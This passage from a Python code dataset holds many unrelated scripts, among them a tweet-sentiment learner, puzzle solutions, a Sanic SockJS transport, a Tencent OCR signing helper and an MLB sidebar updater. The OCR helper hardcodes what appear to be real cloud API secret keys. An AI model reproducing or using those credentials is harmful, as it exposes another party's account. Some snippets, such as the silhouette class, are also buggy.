sys.stdout.write(\".\")\n sys.stdout.flush()\n\n\nclass StreamingLearner(BaseListener):\n \"\"\"\n Trains a Perceptron classifier on a stream of data\n (updates with every sample) using feature hashing\n (as you cannot know the vocabulary in before).\n\n In this example only English tweets containing a happy\n :) or sad :( emoticons, which are used as annotation\n for the sentiment of the message, are used as training\n and testing data. Every 5th tweet is used for evaluation\n of the model.\n \"\"\"\n\n def __init__(self, zmq_sub_string, channel):\n\n self.classes = [\"pos\", \"neg\"]\n self.re_emoticons = re.compile(r\":\\)|:\\(\")\n self.vec = HashingVectorizer(n_features=2 ** 20, non_negative=True)\n self.clf = Perceptron()\n\n self.count = {\n \"train\": {\n \"pos\": 0,\n \"neg\": 0,\n },\n \"test\": {\n \"pos\": 0,\n \"neg\": 0,\n }\n }\n\n self.train = 1\n self.eval_count = {\n \"pos\": {\"tp\": 0, \"fp\": 0, \"fn\": 0},\n \"neg\": {\"tp\": 0, \"fp\": 0, \"fn\": 0},\n }\n\n super(StreamingLearner, self).__init__(zmq_sub_string, channel)\n\n def on_msg(self, tweet):\n print_tick()\n\n if tweet.get(\"lang\") != \"en\":\n return # skip non english tweets\n\n emoticons = self.re_emoticons.findall(tweet[\"text\"])\n\n if not emoticons:\n return # skip tweets without emoticons\n\n text = self.re_emoticons.sub(\"\", tweet[\"text\"].replace(\"\\n\", \"\"))\n\n X = self.vec.transform([text])\n\n # label for message\n last_emoticon = emoticons[-1]\n if last_emoticon == \":)\":\n label = \"pos\"\n elif last_emoticon == \":(\":\n label = \"neg\"\n y = np.asarray([label])\n\n if not self.train:\n # use every 5th message for evaluation\n\n print(\"\")\n print(\"TEST %s |\" % label, text)\n\n self.count[\"test\"][label] += 1\n\n y_pred = self.clf.predict(X)\n pred_label, gold_label = y_pred[0], label\n\n print(\"PRED: \", pred_label)\n\n if pred_label == gold_label:\n self.eval_count[gold_label][\"tp\"] += 1\n else:\n self.eval_count[pred_label][\"fp\"] += 1\n self.eval_count[gold_label][\"fn\"] += 1\n\n pos_acc = (\n self.eval_count[\"pos\"][\"tp\"] / self.count[\"test\"][\"pos\"]\n ) if self.count[\"test\"][\"pos\"] else 0\n\n neg_acc = (\n self.eval_count[\"neg\"][\"tp\"] / self.count[\"test\"][\"neg\"]\n ) if self.count[\"test\"][\"neg\"] else 0\n\n print(\"*** CLF TESTED ON: %s :) samples (Acc %.3f),\"\n \" %s :( samples (Acc %.3f)\" %\n (self.count[\"test\"][\"pos\"], pos_acc,\n self.count[\"test\"][\"neg\"], neg_acc))\n print(json.dumps(self.eval_count, indent=2))\n print()\n\n else:\n self.count[\"train\"][label] += 1\n\n # set higher sample weight for underrepresented class\n tc = self.count[\"train\"]\n if label == \"pos\":\n sample_weight = min(3, max(1, tc[\"neg\"] - tc[\"pos\"]))\n elif label == \"neg\":\n sample_weight = min(3, max(1, tc[\"pos\"] - tc[\"neg\"]))\n else:\n sample_weight = 0\n\n print(\"\\nTRAIN %s (weight %s) |\" % (label, sample_weight), text)\n\n print(\">>> CLF TRAINED ON: %s :) samples, %s :( samples\" % (\n self.count[\"train\"][\"pos\"], self.count[\"train\"][\"neg\"]))\n\n self.clf.partial_fit(X, y, self.classes, [sample_weight])\n\n self.train += 1\n # use every 5th message for evaluation\n if not self.train % 5:\n self.train = 0\n\n\ndef main():\n \"\"\"Start the StreamingLearner.\"\"\"\n\n import argparse\n p = argparse.ArgumentParser()\n p.add_argument('--zmq_sub_string', default='tcp://*:5556')\n p.add_argument('--channel', default='tweet.stream')\n\n options = p.parse_args()\n\n stream = StreamingLearner(options.zmq_sub_string, options.channel)\n # this call will block\n stream.start()\n","sub_path":"bbhack/learner.py","file_name":"learner.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"268611342","text":"# https://www.acmicpc.net/problem/1913\n\nN = int(input())\ngoal = int(input())\n\nboard = [[None] * N for _ in range(N)]\n\ndirection = {0: (1, 0), 1: (0, 1), 2: (-1, 0), 3: (0, -1)}\nr, c = 0, 0\nnum = N ** 2\ndir = 0\nanswer = None\nwhile num > 0:\n board[r][c] = num\n if num == goal:\n answer = f\"{r+1} {c+1}\"\n dr, dc = direction[dir]\n nr, nc = r + dr, c + dc\n if 0 <= nr < N and 0 <= nc < N and board[nr][nc] == None:\n r, c = nr, nc\n else:\n dir = (dir + 1) % 4\n dr, dc = direction[dir]\n nr, nc = r + dr, c + dc\n r, c = nr, nc\n num -= 1\n\n\nfor i in range(len(board)):\n board[i] = \" \".join(map(str, board[i]))\n\nfor b in board:\n print(b)\n\nprint(answer)\n","sub_path":"BOJ/simulation/1913.py","file_name":"1913.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"216978707","text":"\"\"\"This preprocessor marks cell's metadata so that the appropriate\nhighlighter can be used in the `highlight` filter afterwards.\nMore precisely, the language of a cell is set to C++ in two scenarios:\n- Python notebooks: cells with `%%cpp` magic extension.\n- ROOT C++ notebooks: all cells.\nThis preprocessor relies on the metadata section of the notebook to\nfind out about the notebook's language.\n\"\"\"\n\nfrom IPython.nbconvert.preprocessors.base import Preprocessor\nimport re\n\n\nclass CppHighlighter(Preprocessor):\n \"\"\"\n Detects and tags code cells that use the C++ language.\n \"\"\"\n\n magics = [ '%%cpp' ]\n cpp = 'cpp'\n python = 'python'\n\n def __init__(self, config=None, **kw):\n super(CppHighlighter, self).__init__(config=config, **kw)\n\n # Build regular expressions to catch language extensions or switches and choose\n # an adequate pygments lexer\n any_magic = \"|\".join(self.magics)\n self.re_magic_language = re.compile(r\"^\\s*({0}).*\".format(any_magic), re.DOTALL)\n\n def matches(self, source, reg_expr):\n m = reg_expr.match(source)\n if m:\n return True\n else:\n return False\n\n def _preprocess_cell_python(self, cell, resources, cell_index):\n # Mark %%cpp and %%dcl code cells as cpp\n if cell.cell_type == \"code\" and self.matches(cell.source, self.re_magic_language):\n cell['metadata']['magics_language'] = self.cpp\n\n return cell, resources\n\n def _preprocess_cell_cpp(self, cell, resources, cell_index):\n # Mark all code cells as cpp\n if cell.cell_type == \"code\":\n cell['metadata']['magics_language'] = self.cpp\n\n return cell, resources\n\n def preprocess(self, nb, resources):\n self.preprocess_cell = self._preprocess_cell_python\n try:\n if nb.metadata.kernelspec.language == \"c++\":\n self.preprocess_cell = self._preprocess_cell_cpp\n except:\n # if no language metadata, keep python as default\n pass\n return super(CppHighlighter, self).preprocess(nb, resources)\n","sub_path":"resources/home/dnanexus/root/lib/JupyROOT/html/cpphighlighter.py","file_name":"cpphighlighter.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"242485438","text":"import pandas as pd\n\n\ndef format_profile(path='template.xlsx'):\n \"\"\"\"\"\"\n df = pd.read_excel(path)\n columns_ordered = ['年', '月', '诊所名称', '诊疗费', '辅助检查',\n '西/成药处方', '中药处方', '治疗费', '实验室检查',\n '材料费', '其他收费', '收入合计',\n '诊疗费成本', '辅助检查成本',\n '西/成药处方成本', '中药处方成本', '治疗成本', '实验室检查成本',\n '材料费成本', '其他收费成本', '成本合计',\n '诊疗费利润', '辅助检查利润',\n '西/成药处方利润', '中药处方利润', '治疗费利润', '实验室检查利润',\n '材料费利润', '其他收费利润', '利润合计'\n ]\n df = df[columns_ordered]\n print(df.head(1).T)\n pass\n\n\ndef run():\n format_profile()\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"code_book/style_utils.py","file_name":"style_utils.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"649291965","text":"class Solution(object):\n \"\"\"\n 原理:首先初始化快指针 fast = head.next.next 和 slow = head.next,\n 此时快指针走的路长为2, m慢指针走的路长为1,之后令快指针每次走两步,\n 慢指针每次走一步,这样快指针走的路长始终是慢指针走的路长的两倍,\n 若不存在环,直接返回None,\n 若存在环,则 fast 与 slow 肯定会在若干步之后相遇;\n\n 性质1:\n 设从head需要走 a 步到达环的入口,如果环存在的话,\n 再走 b 步可以再次到达该入口(即环的长度为b),\n 如果存在环的话,上述描述的 快指针 fast 和\n 慢指针slow 必然会相遇,且此时slow走的路长\n 小于 a + b(可以自行证明),设其为 a + x,\n 当快慢指针相遇时,快指针已经至少走完一圈环了,\n 不妨设相遇时走了完整的m圈(m >= 1),有:\n\n 快指针走的路长为 a + mb + x\n 慢指针走的路长为 a + x\n\n 由于快指针fast 走的路长始终是慢指针的 2倍,所以:\n\n a + mb + x = 2(a + x)\n\n 化简可得:\n\n a = mb - x ------------- (*)\n\n 当快指针与慢指针相遇时,由于 <性质1> 的存在,\n 可以在链表的开头初始化一个新的指针,\n 称其为 detection, 此时 detection 距离环的入口的距离为 a,\n\n 此时令 detection 和 fast 每次走一步,\n 会发现当各自走了 a 步之后,两个指针同时到达了环的入口,理由分别如下:\n\n detection不用说了,走了a步肯定到刚好到入口\n fast已经走过的距离为 a + mb + x,当再走 a 步之后,\n fast走过的总距离为 2a + mb + x,带入性质1的(*)式可得:\n 2a + mb + x = a + 2mb,会发现,fast此时刚好走完了\n 整整 2m 圈环,正好处于入口的位置。\n\n 基于此,我们可以进行循环,直到 detection 和\n fast 指向同一个对象,此时指向的对象恰好为环的入口。\n\n \"\"\"\n\n def detectCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n # 首先初始化快指针和慢指针,确保快指针走的路的长度是慢指针长度的2倍\n if head and head.next:\n fast = head.next.next\n slow = head.next\n else:\n return None # 说明无环\n\n # 进行循环,首先让快指针和慢指针第一次相遇\n while fast:\n if fast != slow:\n\n # 快指针走两步\n if fast.next:\n fast = fast.next.next\n else:\n return None # 说明无环\n\n # 慢指针走一步\n slow = slow.next\n else:\n detection = head\n while detection != slow: # 此时由于slow和fast是一样的,用哪个都行\n slow = slow.next\n detection = detection.next\n\n return detection\n\n'''\n题:\n输入:head = [3,2,0,-4], pos = 1\n输出:true\n解释:链表中有一个环,其尾部连接到第二个节点。\n\n注: 不允许修改给出的链表\n\n解:\n快慢指针\n'''\n","sub_path":"142.py","file_name":"142.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"48654042","text":"from window import Window\nimport pygame\nimport sys\nfrom bird import Bird\nimport random\n\n\nclass Main:\n def __init__(self, entity, entity_amount, x_s, y_s, bEn, o_x):\n self.window = Window(1100, 600)\n\n self.entities = []\n for i in range(0, entity_amount):\n y = y_s\n x = ((bEn * o_x) *i) + x_s\n self.entities.append(entity(x, y, 0, bEn))\n\n def run(self):\n rx = ry = 0\n while 1:\n self.window.clear()\n\n if self.window.get_key(pygame.K_ESCAPE):\n self.exit()\n\n mx, my = self.window.get_mouse()\n\n for entity in self.entities:\n entity.navigate_to(mx, my, 1)\n entity.update(self.entities)\n entity.draw(self.window)\n\n self.window.flip()\n\n @staticmethod\n def exit():\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main = Main(Bird, 50, 50, 100, 10, 10)\n main.run()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"402223537","text":"'''\nList of Depths: Given a binary tree, design an algorithm which creates a linked list of all \nthe nodes at each depth (e.g., if you have a tree with depth D, you'll have D linked lists).\n'''\n\nclass TreeNode:\n def __init__ (self, val):\n self.val = val\n self.left = None\n self.right = None\n\nclass Node:\n def __init__ (self, val):\n self.val = val\n self.next = None\n\ndef minimalTree(arr):\n return helper(arr,0,len(arr)-1)\n\ndef helper(arr,start,end):\n if end < start:\n return None\n mid = (start + end) / 2\n n = TreeNode(arr[mid])\n n.left = helper(arr,start,mid-1)\n n.right = helper(arr,mid+1,end)\n return n\n\narr = [1,2,3,4,5,6,7,8,9,10]\nroot = minimalTree(arr)\n\n'''\nAnswer below\n\n'''\nfrom collections import deque\nimport numpy as np \n\ndef listOfDepths(root):\n q = deque()\n q.append(root)\n res = []\n while q:\n count = len(q)\n head = Node(0)\n realHead = head\n while count > 0:\n n = q.popleft()\n head.next = Node(n.val)\n head = head.next\n if n.left:\n q.append(n.left)\n if n.right:\n q.append(n.right)\n count -= 1\n res.append(realHead.next)\n return res\n\nres = listOfDepths(root)\n\nfor ll in res:\n while ll is not None:\n print(ll.val)\n ll = ll.next\n print\n","sub_path":"Python/Trees/list_of_depths.py","file_name":"list_of_depths.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"630063754","text":"import numpy as np\nimport pandas as pd\n\nclass Silhouette(object):\n\n def __init__(self, dm, p):\n self.distances = dm\n self.set_partition(p)\n\n def get_indices_for_group(self, group):\n return np.where(self.partition == group)[0]\n\n def get_indices_for_groups(self, group1, group2):\n ix = np.where(self.partition == group1)[0]\n jx = np.where(self.partition == group2)[0]\n return self.__get_indices_for_groups_by_index(ix, jx)\n\n def __get_indices_for_groups_by_index(self, ix, jx):\n if len(ix) == len(jx) == 1 and ix == jx:\n return [list(ix)], [list(jx)]\n row_indices = [[i for j in jx if i!=j] for i in ix]\n column_indices = [[j for j in jx if j!=i] for i in ix]\n return row_indices, column_indices\n\n def get_mean_dissimilarities_for_group(self, group):\n outgroups = self.groups[self.groups != group]\n within_indices = self.get_indices_for_groups(group, group)\n within_distances = self.distances[within_indices].mean(axis=1)\n dissimilarities = []\n for outgroup in outgroups:\n between_indices = self.get_indices_for_groups(group, outgroup)\n between_distances = self.distances[between_indices]\n dissimilarities.append(between_distances.mean(axis=1))\n return within_distances, np.array(dissimilarities), outgroups\n\n def __silhouette_calc(self, ingroup, outgroup):\n if len(ingroup) == 1:\n return 0\n max_ = np.array([ingroup, outgroup]).max(axis=0)\n return (outgroup - ingroup) / max_\n\n def run(self):\n for ingroup in self.groups:\n ingroup_ix = self.get_indices_for_group(ingroup)\n within, between, outgroups = self.get_mean_dissimilarities_for_group(ingroup)\n between_min = between.min(axis=0)\n outgroup_ix, neighbours_ix = np.where(between == between_min)\n neighbours = np.zeros(neighbours_ix.shape)\n neighbours[neighbours_ix] = outgroups[outgroup_ix]\n self.neighbours[ingroup_ix] = neighbours\n self.scores[ingroup_ix] = self.__silhouette_calc(within,\n between_min)\n\n def set_partition(self, partition):\n if isinstance(partition, treeCl.Partition):\n self.partition = np.array(partition.partition_vector)\n else:\n self.partition = np.array(partition)\n self.groups = np.unique(self.partition)\n self.neighbours = np.zeros(self.partition.shape)\n self.scores = np.zeros(self.partition.shape)\n\n def silhouette(self, partition):\n self.set_partition(partition)\n self.run()\n return(self.neighbours, self.scores)\n\ndef add_silhouettes_to_dataframe(path_to_distances, path_to_table, **kwargs):\n table = pd.read_csv(path_to_table, **kwargs)\n dm = np.loadtxt(path_to_distances)\n\n\ns = Silhouette(dm, p)\ns.run()\n","sub_path":"treeCl/utils/silhouette.py","file_name":"silhouette.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"231581282","text":"# Task - Compulsory\n# 1. Define a function called hotel_cost with one argument nights as input. The hotel costs R140 per night.\n# 2. Define a function called plane_ride_cost that takes a string, city, as input.\n# 3. Define a function called rental_car_cost with an argument called days. Calculate the cost of renting the car:\n# 3.1. Every day you rent the car costs R40 pep day.\n# 3.2. If you rent the car for 7 or more days, you get R50 off your total(cost-=50).\n# 3.3. If you rent the car for 3 or more days, you get R20.\n# 3.4. You cannot get both of the above discounts. Return that cost.\n#\n# 4. Define a function called trip_cost that takes two arguments, city and days. Your function return the sum of\n# calling the rental_car_cost(days), hotel_cost(days), and plane_ride_cost(city)\n# functions.\n# 4.1. Modify your trip_cost function definition. Add a third argument, spending_money. Modify what the trip_cost\n# function does. Add the variable ‘spending_money’ to the sum that it returns.\n\n# FUNCTION LETS YOU KNOW HOW MUCH IT WILL COST TO STAY AT A HOTEL FOR THE GIVEN AMOUNTS OF NIGHTS\ndef hotel_cost(nights):\n return \"R\" + str(140 * nights)\n\n\n# RETURNS THE PRICE OF YOUR PLANE TICKET DEPENDING ON THE city YOU ARE GOING TO\ndef plane_ride_cost(city):\n # CREATE A DICTIONARY WITH THE CITY AS A KEY AND THE PRICE AS THE VALUE\n cities = {\n \"Cape Town\": 2500,\n \"Durban\": 2300,\n \"JHB\": 2000,\n \"BFN\": 1800\n }\n\n # ASSIGN price TO THE GIVEN city\n price = cities.get(city)\n\n # IF price IS NOT None, MEANING THE city ENTERED EXISTS IN THE DICTIONARY\n if price is not None:\n # RETURN THE price\n return \"R\" + str(price)\n else:\n # IF THE GIVEN city ISN'T IN THE DICTIONARY, RETURN THE FOLLOWING\n return str(city) + \" isn't in our data base\"\n\n\n# RETURNS THE COST OF RENTING A CAR DEPENDING ON THE AMOUNT OF days\ndef rental_car_cost(days):\n # IF YOU RENT OFR ONLY 2 DAYS, THEN NO DISCOUNT\n if 0 < days < 2:\n price = 40 * days\n # IF YOU RENT FOR 3 - 6 DAYS, YOU GET R20 OFF\n elif 3 < days < 6:\n price = (40 * days) - 20\n # IF YOU RENT FOR MORE THAN 7 DAYS, YOU GET R50 OFF\n else:\n price = (40 * days) - 50\n\n return \"R\" + str(price)\n\n\n# RETURNS THE TOTAL AMOUNT THE TRIP IS GONNA COST YOU DEPENDING ON THE city YOU GO TO, HOW MANY days YOU GONNA RENT A\n# CAR AND HOW MUCH spending_money YOU WANNA HAVE\ndef trip_cost(city, days, spending_money):\n # PRICE IS THE SUM OF THE FOLLOWING FUNCTIONS\n return \"R\" + str(rental_car_cost(days) + hotel_cost(days) + plane_ride_cost(city) + spending_money)\n","sub_path":"hotel_cost.py","file_name":"hotel_cost.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"532247423","text":"\"\"\" Given a list of N integers, your task is to select K integers from the list such that its\nunfairness is minimized.\n\nif (x1,x2,x3,...,xk) are K numbers selected from the list N, the unfairness is defined as\nmax(x1,x2,...,xk)−min(x1,x2,...,xk)\n\nwhere max denotes the largest integer among the elements of K, and min denotes the smallest\ninteger among the elements of K.\n\nThis can be easily calculated if the list is guaranteed to be in increasing order.\n\"\"\"\n\nN = int(input())\nK = int(input())\nA = []\nfor n in range(N):\n A.append(int(input()))\nA.sort()\n\nU = A[K-1] - A[0]\nfor n in range(1, N-K+1):\n u = A[n+K-1] - A[n]\n if u < U:\n U = u\nprint(U)\n","sub_path":"HackerRank/Algorithms/Greedy/b_Medium/max_min.py","file_name":"max_min.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"240791867","text":"from sanic.response import HTTPResponse, StreamingHTTPResponse\n\n\nfrom .base import StreamingTransport\nfrom .utils import CACHE_CONTROL, session_cookie, cors_headers, cache_headers\n\n\nclass XHRStreamingTransport(StreamingTransport):\n\n maxsize = 131072 # 128K bytes\n open_seq = b\"h\" * 2048 + b\"\\n\"\n\n async def process(self):\n request = self.request\n headers = (\n ('Connection', request.headers.get('Connection', \"close\")),\n ('Content-Type', \"application/javascript; charset=UTF-8\"),\n ('Cache-Control', CACHE_CONTROL),\n )\n\n headers += session_cookie(request)\n headers += cors_headers(request.headers)\n\n if request.method == 'OPTIONS':\n headers += (('Access-Control-Allow-Methods', \"OPTIONS, POST\"),)\n headers += cache_headers()\n return HTTPResponse(None, status=204, headers=headers)\n\n async def stream(_response):\n nonlocal self\n self.response = _response\n await _response.write(self.open_seq)\n # event loop\n await self.handle_session()\n # open sequence (sockjs protocol)\n return StreamingHTTPResponse(stream, headers=headers)\n #resp.force_close()\n","sub_path":"sanic_sockjs/transports/xhrstreaming.py","file_name":"xhrstreaming.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"230352449","text":"#!/usr/bin/python3\r\n# -*- coding:utf-8 -*-\r\n\r\nimport random\r\nfrom hashlib import sha1\r\nimport hmac\r\nimport binascii\r\nimport time\r\nfrom base64 import b64encode\r\n\r\nurl_origin = 'http://recognition.image.myqcloud.com/ocr/handwriting'\r\nappID = '1255436761'\r\nbucket = 'hongbao'\r\nSecretID = 'AKID12W7YnP82kGZieNwOm4B7rSr2DF5BDdv'\r\nSecretKey = 'LXXL3Zj0FVaTBl9PZYL5gAbsytcOFxTr'\r\ncurrent = int(time.time())\r\nexpired = current + 120\r\nRAND = int(random.random()*1000000000)\r\n\r\nsign_string = 'a='+appID+'&b='+bucket+'&k='+SecretID+'&e='+\\\r\n str(expired)+'&t='+str(current)+'&r='+str(RAND)+'&f='\r\n\r\n\r\ndef get_sign_key():\r\n hex_string = hmac.new(SecretKey.encode('utf-8'),\r\n sign_string.encode('utf-8'), sha1).hexdigest()\r\n binstring = binascii.unhexlify(hex_string)\r\n sign_key = b64encode(binstring + sign_string.encode('utf-8')).rstrip()\r\n\r\n return sign_key\r\n","sub_path":"Images/bao/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"98092452","text":"# manages the sidebar updating for /r/Cardinals\n# Author: sweickge\n# All Rights Reserved\n\nimport sidebar\nimport string\nimport six\nfrom six.moves import urllib\nimport simplejson as json\nfrom datetime import datetime, timedelta, time\nimport calendar\nimport pytz\n\nimport requests\nimport json\n\nclass Sidebar:\n\n def __init__(self,time_info, team_code, playoffs, debug = 0):\n (self.time_zone,self.time_change,) = time_info\n self.team_code = team_code\n self.playoffs = playoffs\n self.debug = debug\n \n #Build blank dictionary where key=day of month, value=text for sidebar day\n def build_empty_schedule_dict(self, num_days_month):\n schedule_dict = {}\n for i in range(1,num_days_month+1):\n schedule_dict[i] = []\n \n return schedule_dict\n \n def process_schedule_dict(self,schedule_dict,num_days_month):\n schedule = \"\"\n \n if not schedule_dict:\n return schedule\n \n for day in range(1,num_days_month+1):\n if schedule_dict[day]:\n for data in schedule_dict[day]:\n schedule = schedule + data\n else:\n schedule = schedule + self.get_off_day_line(day)\n \n return schedule\n \n def get_game_date(self,game):\n gameDate = \"\"\n try:\n gameDate = game.get('date')\n \n #Date format returned is (YYYY-MM-DD)\n date_object = datetime.strptime(gameDate, \"%Y-%m-%d\")\n \n #Print date as (mm/dd) without \"0\" padding for singular dates\n gameDate = date_object.strftime(\"%-m/%-d\")\n except:\n if self.debug:\n print (\"Can't get game date\")\n return gameDate\n \n def get_playoff_game_date(self, game):\n gameDate = \"\"\n #Eastern Timezone PYTZ tzinfo object\n est = pytz.timezone('US/Eastern')\n try:\n #Get game date/time which is formatted as ISO-8601 and in UTC tz\n gameDate = game.get('gameDate')\n date_object = datetime.strptime(gameDate, \"%Y-%m-%dT%H:%M:%SZ\")\n #Get local team timezone offset\n \n #Make date timezone aware (UTC timezone)\n date_object = date_object.replace(tzinfo=pytz.utc)\n\n #Convert date object to Eastern timezone (DST aware as well)\n date_object = date_object.astimezone(est)\n\n #Change EST to team timezone\n t = timedelta(hours=self.time_change)\n\n #Change the gametime to match the team timezone\n date_object = date_object - t\n \n gameDate = date_object.strftime(\"%m/%d\")\n \n except:\n if self.debug:\n print (\"Can't get playoff game date\")\n return gameDate\n \n def get_game_month(self,game):\n gameDate = \"\"\n try:\n gameDate = game.get('date')\n \n #Date format returned is (YYYY-MM-DD)\n date_object = datetime.strptime(gameDate, \"%Y-%m-%d\")\n \n #Print date as (mm/dd) without \"0\" padding for singular dates\n gameDate = date_object.strftime(\"%-m\")\n except:\n if self.debug:\n print (\"Can't get game date\")\n return gameDate\n \n def get_game_day_of_month(self,game):\n gameDate = \"\"\n try:\n gameDate = game.get('date')\n \n #Date format returned is (YYYY-MM-DD)\n date_object = datetime.strptime(gameDate, \"%Y-%m-%d\")\n \n #Print date as (mm/dd) without \"0\" padding for singular dates\n gameDate = date_object.strftime(\"%-d\")\n except:\n if self.debug:\n print (\"Can't get game date\")\n return gameDate\n \n def get_game_location(self, game, redditRedesign):\n location = \"\"\n if not game:\n return venue\n \n try:\n teams = game.get('teams')\n away_team_id = str(teams.get('away').get('team').get('id'))\n home_team_id = str(teams.get('home').get('team').get('id'))\n gameType = game.get('gameType')\n\n #All Star Game\n if gameType == 'A':\n if redditRedesign:\n location = str(self.get_team_full(away_team_id)) + \" @ \" + str(self.get_team_full(home_team_id))\n else:\n location = str(self.get_team(away_team_id)) + \" @ \" + str(self.get_team(home_team_id))\n return location\n\n sidebar_team_id = self.get_team_id_by_team_code(self.team_code)\n \n #Team for sidebar is away right now\n if away_team_id == sidebar_team_id:\n if redditRedesign:\n location = \"@ \" + str(self.get_team_full(home_team_id))\n else:\n location = \"@ \" + str(self.get_team(home_team_id))\n #Team is home right now\n elif home_team_id == sidebar_team_id:\n if redditRedesign:\n location = \"vs. \" + str(self.get_team_full(away_team_id))\n else:\n location = \"vs. \" + str(self.get_team(away_team_id))\n else:\n if self.debug:\n print (\"Invalid schedule teams\")\n\n except:\n if self.debug:\n print (\"Can't get game details!\")\n \n return location\n \n def get_game_time(self, game):\n gameTime = \"\"\n #Eastern Timezone PYTZ tzinfo object\n est = pytz.timezone('US/Eastern')\n try:\n #Get game date/time which is formatted as ISO-8601 and in UTC tz\n gameTime = game.get('gameDate')\n\n date_object = datetime.strptime(gameTime, \"%Y-%m-%dT%H:%M:%SZ\")\n \n #Make date timezone aware (UTC timezone)\n date_object = date_object.replace(tzinfo=pytz.utc)\n\n #Convert date object to Eastern timezone (DST aware as well)\n date_object = date_object.astimezone(est)\n\n #Change EST to team timezone\n t = timedelta(hours=self.time_change)\n\n #Change the gametime to match the team timezone\n date_object = date_object - t\n gameTime = date_object.strftime(\"%-I:%M\")\n \n #10:33 start time means the actual time hasn't been announced yet\n #so return TBA\n if str(gameTime) == \"10:33\":\n gameTime = \"TBA\"\n\n except:\n if self.debug:\n print (\"Can't get game time\")\n gameTime = \"TBA\"\n return gameTime\n \n def get_probable_pitcher(self, game):\n prob_pitcher = \"TBA\"\n if not game:\n return prob_pitcher\n\n try:\n teams = game.get('teams')\n away_team_id = str(teams.get('away').get('team').get('id'))\n home_team_id = str(teams.get('home').get('team').get('id'))\n sidebar_team_id = self.get_team_id_by_team_code(self.team_code)\n gameType = game.get('gameType')\n\n #Team for sidebar is away right now\n if away_team_id == sidebar_team_id:\n probPitcherName = str(teams.get('away').get('probablePitcher').get('fullName'))\n\n #Team is home right now\n elif home_team_id == sidebar_team_id:\n probPitcherName = str(teams.get('home').get('probablePitcher').get('fullName'))\n #All Star Game prob pitchers\n elif gameType == 'A':\n away_probPitcherName = str(teams.get('away').get('probablePitcher').get('fullName'))\n home_probPitcherName = str(teams.get('home').get('probablePitcher').get('fullName'))\n\n #Above code returns (lastname, first) for each pitcher.\n #Split into last and first to only get last name\n away_probPitcherName = away_probPitcherName.split(\", \",1)[0]\n home_probPitcherName = home_probPitcherName.split(\", \",1)[0]\n\n prob_pitcher = str(away_probPitcherName) + \" vs. \" + str(home_probPitcherName)\n return prob_pitcher\n else:\n if self.debug:\n print (\"Invalid team\")\n return prob_pitcher\n\n #Above code return (lastname, first). Split into last and first to only get last name\n prob_pitcher = probPitcherName.split(\", \",1)[0]\n\n except:\n if self.debug:\n print (\"Probable pitcher not available\")\n return prob_pitcher\n\n return prob_pitcher\n\n def get_playoff_probable_pitchers(self, game):\n prob_pitcher = \"TBA\"\n if not game:\n return prob_pitcher\n\n try:\n teams = game.get('teams')\n away_team_id = str(teams.get('away').get('team').get('id'))\n home_team_id = str(teams.get('home').get('team').get('id'))\n sidebar_team_id = self.get_team_id_by_team_code(self.team_code)\n\n #away probable pitcher\n try:\n away_probPitcherName = str(teams.get('away').get('probablePitcher').get('fullName'))\n #Above code returns (lastname, first) for each pitcher.\n #Split into last and first to only get last name\n away_probPitcherName = away_probPitcherName.split(\", \",1)[0]\n except:\n away_probPitcherName = \"TBA\"\n\n #home probable pitcher\n try:\n home_probPitcherName = str(teams.get('home').get('probablePitcher').get('fullName'))\n #Above code returns (lastname, first) for each pitcher.\n #Split into last and first to only get last name\n home_probPitcherName = home_probPitcherName.split(\", \",1)[0]\n except:\n home_probPitcherName = \"TBA\"\n\n prob_pitcher = str(away_probPitcherName) + \" vs. \" + str(home_probPitcherName)\n\n except:\n if self.debug:\n print (\"Can't get probable pitcher\")\n return prob_pitcher\n\n return prob_pitcher\n\n def get_game_result(self, game, redditRedesign):\n game_result = \"\"\n if not game:\n return \"\"\n \n try:\n game_status_code = game.get('status').get('codedGameState')\n \n #Game is final so print score\n if game_status_code == 'F':\n sidebar_team_id = self.get_team_id_by_team_code(self.team_code)\n teams = game.get('teams')\n away_team_id = str(teams.get('away').get('team').get('id'))\n away_team_score = teams.get('away').get('score')\n home_team_id = str(teams.get('home').get('team').get('id'))\n home_team_score = teams.get('home').get('score')\n gameType = game.get('gameType')\n \n #Team for sidebar is away right now\n if away_team_id == sidebar_team_id:\n #Sidebar team_won\n if int(away_team_score) > int(home_team_score):\n game_result = \"**W \" + str(away_team_score) + \"-\" + str(home_team_score) + \"**\"\n #There can be a tie in ST. Handle that\n elif int(away_team_score) == int(home_team_score):\n game_result = \"T \" + str(away_team_score) + \"-\" + str(home_team_score)\n #Sidebar team lost\n elif int(away_team_score) < int(home_team_score):\n game_result = \"L \" + str(away_team_score) + \"-\" + str(home_team_score)\n #Should never get here\n else:\n game_result = \"TBD\"\n \n #Team 